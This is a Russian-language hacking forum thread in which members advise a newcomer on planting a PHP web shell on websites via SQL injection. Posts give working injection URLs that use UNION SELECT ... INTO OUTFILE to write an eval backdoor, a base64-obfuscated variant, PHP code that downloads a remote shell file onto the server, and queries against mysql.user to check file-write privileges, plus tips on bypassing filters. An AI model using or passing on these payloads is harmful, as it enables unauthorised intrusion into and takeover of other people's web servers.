На счет заливки шела через eval

Discussion in 'Песочница' started by nikitos2401, 14 Nov 2011.

  1. nikitos2401

    nikitos2401 New Member

    Joined:
    21 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Ребят подскажите что делать вот например есть сайт доступ в базу есть хочу залить на сайт <?eval[`e`]?> через это) и тут возникли 2 вопроса
    1) как узнать есть ли у пользователя доступ на запись?
    2) если узнаю пути как далее действовать?
    это?
    Code:
    http://site.ru/cat.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php
    и как потом залить фаил на шелл если все получится?
     
  2. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    Code:
    http://site.ru/cat.php?id=-1' UNION SELECT 1,2,3,'<?php eval(base64_decode($_GET[‘e’])); ?>',5,6 INTO OUTFILE '1.php
    Лучше так.
    И в 1.php?e=(строка зашифрованая в бэйс64)
    А код
    типа

    <?

    $fh = fopen('shell.php', "a+");
    fwrite($fh, file_get_contents('ссылка на шелл'));
    fclose($fh);
    ?>
     
  3. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Code:
    http://site.ru/cat.php?id=-1' UNION SELECT 1,2,3,file_priv,5,6 from mysql.user where user='текущий юзер'+--+
     
  4. nikitos2401

    nikitos2401 New Member

    Joined:
    21 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Ребят не работает 99999+and+1=0+union+select+1,2,3,file_priv,5,6,7,8,9+from+mysql.user+where+user='user' но проходит ошибка и ничего не выводится)
     
  5. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    'user' -- попробуй в Hex закодировать
     
  6. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    1) Если на сервере сидит 2 и более юзеров, то запрос
    99999+and+1=0+union+select+1,2,3,file_priv,5,6,7,8 ,9+from+mysql.user Если появиться Y то заливай шелл, если нет, то пока...
    2) 1 юзер запрос 99999+and+1=0+union+select+1,2,3,file_priv,5,6,7,8 ,9+from+mysql.user+where+user='root'
     
  7. nikitos2401

    nikitos2401 New Member

    Joined:
    21 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    в hex не помогло) а такая фигня почти на всех сайтах ничего не хочет показывать) ппц
     
  8. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    Нет не на всех. Значит где-то фильтруется запрос...скорее всего + или другой знак...но все таки можно залить шелл.
     
  9. nikitos2401

    nikitos2401 New Member

    Joined:
    21 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    так а каким методом тогда его залить? ведь если фильтрация то запрос не пройдет) и следовательно не создастся файл
     
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    этот вопрос уже столько раз обсуждался на форуме, что тошно уже от него..твоя тема уже наверное тысячная, без линка никто тебе не скажет как залить шелл .
     
  11. nikitos2401

    nikitos2401 New Member

    Joined:
    21 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    не понял тебя) обьясни